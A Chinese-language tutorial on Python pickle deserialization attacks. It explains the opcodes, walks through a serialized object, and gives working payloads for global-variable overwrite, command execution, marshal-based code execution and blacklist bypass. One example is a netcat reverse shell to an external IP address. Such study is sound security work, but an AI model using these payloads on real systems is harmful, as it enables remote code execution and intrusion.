原理
- Python中有两个模块可以实现对象的序列化,
pickle
和cPickle
,区别在于cPickle
是用C语言实现的,pickle
是用纯python语言实现的,用法类似,cPickle的读写效率高一些;使用时一般先尝试导入cPickle,如果失败,再导入pickle模块 - pickle的应用场景一般有以下几种:
- 在解析认证token,session的时候(尤其web中使用的redis、mongodb、memcached等来存储session等状态信息)
- 将对象Pickle后存储成磁盘文件
- 将对象Pickle后在网络中传输
- 漏洞成因:pickle数据是完全可控的,可以用来表示任意对象
方法
pickle.dump(obj, file)
:将obj对象进行封存,即序列化,然后写入到file文件中,这里的file需要以wb
打开(二进制可写模式)pickle.load(file)
:将file这个文件进行解封,即反序列化,这里的file需要以rb
打开(二进制可读模式)pickle.dumps(obj)
:将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回pickle.loads(data)
:将data解封,即进行反序列化,data要求为bytes-like object(字节类对象)
关于opcode
opcode
,即序列化后的字符,它们都有一定的含义,可以通过编写opcode实现函数执行pickle有6种不同的实现版本,在py3和py2中得到的opcode不相同,但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)
版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode
直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作
抄一个大佬的表格:
opcode 描述 具体写法 栈上的变化 memo上的变化 c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈 无 o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 无 i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 无 N 实例化一个None N 获得的对象入栈 无 S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈 无 V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无 I 实例化一个int对象 Ixxx\n 获得的对象入栈 无 F 实例化一个float对象 Fx.x\n 获得的对象入栈 无 R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 无 . 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 无 ( 向栈中压入一个MARK标记 ( MARK标记入栈 无 t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 无 ) 向栈中直接压入一个空元组 ) 空元组入栈 无 l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 无 ] 向栈中直接压入一个空列表 ] 空列表入栈 无 d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 无 } 向栈中直接压入一个空字典 } 空字典入栈 无 p 将栈顶对象储存至memo_n pn\n 无 对象被储存 g 将memo_n的对象压栈 gn\n 对象被压栈 无 0 丢弃栈顶对象 0 栈顶对象被丢弃 无 b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 无 s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 无 u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 无 a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 无 e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 注:
TRUE
可以用I
表示:b'I01\n'
;FALSE
也可以用I
表示:b'I00\n'
c
操作符会尝试import
库,所以在pickle.loads
时不需要漏洞代码中先引入系统库pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的;即,查值不行,赋值可以,pickle能够索引查值的操作只有c
、i
s
、u
、b
操作符可以构造并赋值原来没有的属性、键值对拼接opcode:将第一个pickle流结尾表示结束的
.
去掉,将第二个pickle流与第一个拼接起来即可
大白话版
c
:以c开始的后面两行的作用类似os.system
的调用,其中cos
在第一行,system
在第二行(
:相当于左括号t
:相当于右括号S
:表示本行的内容一个字符串R
:执行紧靠自己左边的一个括号对(即(
和t
之间)的内容.
:代表该pickle结束
序列化与反序列化分析
字符串:
import pickle zj = 'haoye' filename = "haoye" # 序列化 with open(filename, 'wb') as f: # 以二进制可写形式打开haoye这个文件 pickle.dump(zj, f) # 将zj这个变量对应的字符串进行序列化并写入到f中 # 读取序列化后生成的文件 with open(filename, "rb") as f: print(f.read()) # 反序列化 with open(filename, "rb") as f: # 以二进制可读形式打开haoye这个文件 print(pickle.load(f)) # 将这个文件进行反序列化并输出
类和对象的反序列化:
import pickle class Test: def __init__(self, name, age): self.name = name self.age = age a = pickle.dumps(Test("lalala", "18")) print(a) # 输出:b'\x80\x04\x958\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06lalala\x94\x8c\x03age\x94\x8c\x0218\x94ub.'
详细分析:
读取
\x80
,其对应的是PROTO
,这里调用load_proto
方法,函数内容是读取下一个字符,读取到\x04
,这里的含义是表示这是一个根据四号协议序列化的字符串读取
\x95
,其对应的是FRAME
,这里调用load_frame
方法,函数内容是读取八个字符串,这里是:\x00\x00\x00\x00\x00\x00\x00
,然后将其值进行二进制字节流转换赋值给current_frame
读取
\x8c
,其对应的是SHORT_BINUNICODE
,对应方法是load_short_binunicode
,函数内容是向下读取一位,然后压入栈中,此时:stack:[__main__]
读取
\x94
,其对应的是MEMOIZE
,对应方法是load_memoize
,函数内容是将栈中-1对应元素赋值给memo[0]
,这里的话就是memo[0]=\x08__main
,而memo等于{}
,就是{\x08__main}
读取
\x8c
,向下读取一位然后压入栈中,下一位是\x04Test
,此时:stack:[__main__,Test]
读取
\x94
,将栈中-1对应元素存入memo[1]
中,即memo[1]=Test
读取
\x93
,对应函数是load_stack_global
,函数内容是将栈中元素取出一个,作为对象名,这里就是name=Test
,接下来再取出一个,作为类名,就是module=__main__
,然后压入栈中,此时:stack:[<class '__main__.Test'>]
读取
\x94
,将栈中-1对应元素存入memo[2]
中,就是将上面的字符串保存到memo[2]
中读取
)
,对应的是EMPTY_TUPLE
,也就是向栈中加入空元组,此时:stack:[<class '__main__.Test'>,()]
读取
\x81
,对应函数是load_newobj
,弹出()
赋值给args
,然后将class '__main__.Test'
赋值给cls
,接下来cls.__new__(cls,*args)
实例化对象,由于args
为空,所以这里仍然是一个空的Test
对象,此时:stack:[<class '__main__.Test'>]
读取
\x94
,将上面实例化过后的对象存入memo[3]
读取
}
,往栈中压入空的字典,此时:stack:[<class '__main__.Test'>,{}]
读取
\x94
,将上述字符串存入memo[4]
读取
(
,对应方法为load_mark
,函数内容是将栈中元素压入到metastack
中,然后将栈置空读取
\x8c
,向下读取一位压入栈中,下一位是\x04name
(\x04代表name的长度),此时:stack:[name]
读取
\x94
,此时栈中是name
,因此就是memo[5]=name
读取
\x8c
,向下读取一位压入栈中,这里的话下一位是\x06lalala
,此时:stack:[name,lalala]
读取
\x94
,即memo[6]=lalala
读取
\x8c
,读取下一位\x03age
,此时:stack:[name,lalala,age]
读取
x94
,即memo[7]=age
读取
\x8c
,读取下一位\x0218
,此时:stack:[name,lalala,age,18]
读取
\x94
,即memo[8]=19
读取
u
,对应函数为load_setitems
,将栈赋值给items
变量,然后将metastack
中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.Test'>,{}
,这里的话就是取出__main__.Test
作为字典,接下来进行range遍历__main__.Test[items[0]]=items[1] __main__.Test[items[2]]=items[3] 即: __main__.Test[name]=lalala __main__.Test[age]=18
此时:
stack:[<class '__main__.Test'>,{'name':'lalala','age':'18'}]
读取
b
,对应方法为load_build
,弹出{'name':'lalala','age':'18'}
赋值给state
,弹出class '__main__.Test'
赋值给inst
,如果inst
中存在setstate
,就用setstate
来处理state
,否则就存入inst_dict
中读取
.
,结束反序列化
此处可以通过
pickletools
来查看:import pickle import pickletools class Test: def __init__(self, name, age): self.name = name self.age = age a = pickle.dumps(Test("lalala", "18")) print(a) pickletools.dis(a)
漏洞利用
全局变量覆盖
有一个文件
secret.py
,内容如下:flag = 'hao ye!'
现在要把它修改成
lalala
,需要通过c
操作符得到全局变量flag
,然后利用b
操作符修改属性值即可,构造payload如下:c__main__ secret (S'flag' S'lalala' db.
代码:
import pickle import secret payload = '''c__main__ secret (S'flag' S'lalala' db.''' print('before:', secret.flag) # print(payload.encode()) output = pickle.loads(payload.encode()) print('output:', output) print('after:', secret.flag)
分析:
- 通过
c
获取全局变量flag
,然后建立一个字典,并使用b
对flag
进行属性设置
- 通过
命令执行
__reduce__
方法:类似php中的__wakeup()
方法,被定义之后,当对象被反序列化时就会触发,作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle,如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用pickle.loads
可以解决import 问题,对于未引入的module
会自动尝试import
,也就是说整个python标准库的代码执行、命令执行函数都可以使用如:
import os import pickle class Test(object): def __reduce__(self): return os.system, ('whoami',) a = Test() payload = pickle.dumps(a) print(payload) pickle.loads(payload)
实现反弹shell:
import os import pickle class Test(object): def __reduce__(self): return (eval, ("__import__('os').system('nc 43.143.175.158 6666 -e/bin/sh')",)) a = Test() payload = pickle.dumps(a) print(payload) pickle.loads(payload)
编写opcode实现函数执行
数执行相关的opcode有三个:
R
、i
、o
# R: b'''cos system (S'whoami' tR.''' # i: b'''(S'whoami' ios system .''' # o: b'''(cos system S'whoami' o.'''
利用代码:
import pickle payload = b'''cos system (S'whoami' tR.''' pickle.loads(payload)
b
操作符:b'c__main__\nTest\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
详细说明:
- 字符
c
,往后读取两行,得到主函数和类,__main__.Test
- 字符
)
,向栈中压入空元祖()
- 字符
}
,向栈中压入空字典{}
- 字符
X
,读取四位\x0C\x00\x00\x00__setstate__
,得到__setstate__
- 字符
c
,向后读取两行,得到函数os.system
- 字符
s
,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.Test:()},__setstate__,os.system
- 字符
b
,第一个元素出栈,此时也就是{'__setstate__': os.system}
,此时执行一次setstate(state)
- 字符
X
,往后读取四位x06\x00\x00\x00whoami
,即whoami
- 字符
b
,弹出元素whoami
此时state
为whoami
,执行os.system(whoami)
- 字符
.
,结束反序列化
- 字符
利用代码(python3):
import pickle class Test: def __init__(self): self.name = "lalala" a = b'c__main__\nTest\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.' b = pickle.loads(a)
任意代码执行
pickle
不能序列化代码对象,但是自从 python 2.6 起,Python 提供了一个可以序列化code对象的模块Marshal
,如:import pickle import marshal import base64 def code(): import os os.system('whoami') code_pickle = base64.b64encode(marshal.dumps(code.func_code)) print code_pickle
利用PVM操作码构造执行输出的base64内容,Python 能通过
types.FunctionTyle(func_code,globals(),'')()
来动态地创建匿名函数:code_str = base64.b64decode(code_pickle) code = marshal.loads(code_str) func = types.FunctionType(code, globals(), '') func() # 可以简写为: (types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), ''))()
构造对应的PVM操作语句:
import pickle s = """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzLQAAAEQ6XFB5Y2hhcm1Qcm9qZWN0c1xweXRob25Qcm9qZWN0MVxwaWNrbGVcMS5weXQEAAAAY29kZQYAAABzBAAAAAABDAE=' tRtRc__builtin__ globals (tRS'' tR(tR. """ pickle.loads(s)
生成payload脚本:
import marshal import base64 def code(): pass # any code here print """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'%s' tRtRc__builtin__ globals (tRS'' tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
绕过限制
黑名单绕过
官方给出的安全反序列化是继承了
pickle.Pickler
类,并重载了find_class
方法常见的是设置了一些黑名单来进行绕过,如:
import pickle import io import builtins __all__ = ('PickleSerializer',) class RestrictedUnpickler(pickle.Unpickler): blacklist={'eval','exec','open','__import__','exit','input'} def find_class(self,module,name): if module == "builtins" and name not in self.blacklist: return getattr(builtins,name) raise pickle.UnpicklingError("global '%s.%s' is forbidden"%(module ,name))
禁用
eval
和exec
等函数,但getattr
没有被ban,可以通过builtins.getattr('builtins', 'eval')
来获取eval
等黑名单函数构造payload:
builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',) # 构造序列化后的字符串 cbuiltins getattr # 构造出builtins.getattr (cbuiltins dict S'get' #获取到globals中的dict类中的get方法 tR(cbuiltins globals #得到globals() (tRS'builtins' #读取builtins tRS'eval' tRp1 (S'__import__("os").system("whoami")' tR."""
关键词绕过
V操作符绕过:
(S'flag'
可以换成(V\u0066lag
十六进制绕过:
S
操作符可以识别十六进制,因此可以对字符进行十六进制编码:(S'\x66lag'
内置函数获取关键字:
通过
sys.modules[xxx]
来获取全部属性,然后输出:import secret import sys print(dir(sys.modules['secret']))
这里是列表的形式(pickle不支持列表索引),所以用函数
reversed()
将列表反序,然后用next()
函数指向关键词从而实现输出关键词:import secret import sys print(next(reversed(dir(sys.modules['secret']))))
构造序列化后的字符串并验证:
import pickle import secret opcode = b'''(((c__main__ secret i__builtin__ dir i__builtin__ reversed i__builtin__ next .''' print(pickle.loads(opcode))
成功输出flag,新的变量覆盖payload:
import pickle import secret payload = b'''c__main__ secret ((((c__main__ secret i__builtin__ dir i__builtin__ reversed i__builtin__ next S'lalala' db.''' print('before:', secret.flag) output = pickle.loads(payload) print('output:', output) print('after:', secret.flag)
pker的使用
pker是以仿照Python的形式产生
pickle opcode
的解析器,可以用来进行原变量覆盖、函数执行、实例化新的对象pker主要用到
GLOBAL、INST、OBJ
三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:以下module都可以是包含'.'的子module 调用函数时,注意传入的参数类型要和示例一致 对应的opcode会被生成,但并不与pker代码相互等价 GLOBAL 对应opcode:b'c' 获取module下的一个全局对象(没有import的也可以,比如下面的os): GLOBAL('os', 'system') 输入:module,instance(callable、module都是instance) INST 对应opcode:b'i' 建立并入栈一个对象(可以执行一个函数): INST('os', 'system', 'ls') 输入:module,callable,para OBJ 对应opcode:b'o' 建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)): OBJ(GLOBAL('os', 'system'), 'ls') 输入:callable,para xxx(xx,...) 对应opcode:b'R' 使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用) li[0]=321 或 globals_dic['local_var']='hello' 对应opcode:b's' 更新列表或字典的某项的值 xx.attr=123 对应opcode:b'b' 对xx对象进行属性设置 return 对应opcode:b'0' 出栈(作为pickle.loads函数的返回值): return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
由于opcode本身的功能问题,pker不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行,但是因为存在s
、u
、b
操作符,作为右值是可以的,即查值不行,赋值可以
pker解析
S
时,用单引号包裹字符串,所以pker代码中的双引号会被解析为单引号opcode:test="123" return test ---> b"S'123'\np0\n0g0\n."
全局变量覆盖
secret=GLOBAL('__main__', 'secret')
secret.flag='lalala' ---> b"c__main__\nsecret\np0\n0g0\n(}(S'flag'\nS'lalala'\ndtb."
函数执行
通过
b'R'
调用:s='whoami' system = GLOBAL('os', 'system') system(s) # `b'R'`调用 return
通过
b'i'
调用:INST('os', 'system', 'whoami')
通过
b'c'
与b'o'
调用:OBJ(GLOBAL('os', 'system'), 'whoami')
多参数调用函数:
INST('[module]', '[callable]'[, par0,par1...]) OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
还有一个要注意的就是有的时候生成的opcode末尾没有
.
,就会报错
实例化对象
实例化对象是一种特殊的函数执行:
animal = INST('__main__', 'Animal','1','2') return animal # 或 animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2') return animal # 也可以先实例化再赋值: animal = INST('__main__', 'Animal') animal.name='1' animal.category='2' return animal
原文件中需包含:
class Animal: def __init__(self, name, category): self.name = name self.category = category
命令
python3 pker.py < 1.txt
参考链接:
pickle反序列化初探 - 先知社区 (aliyun.com)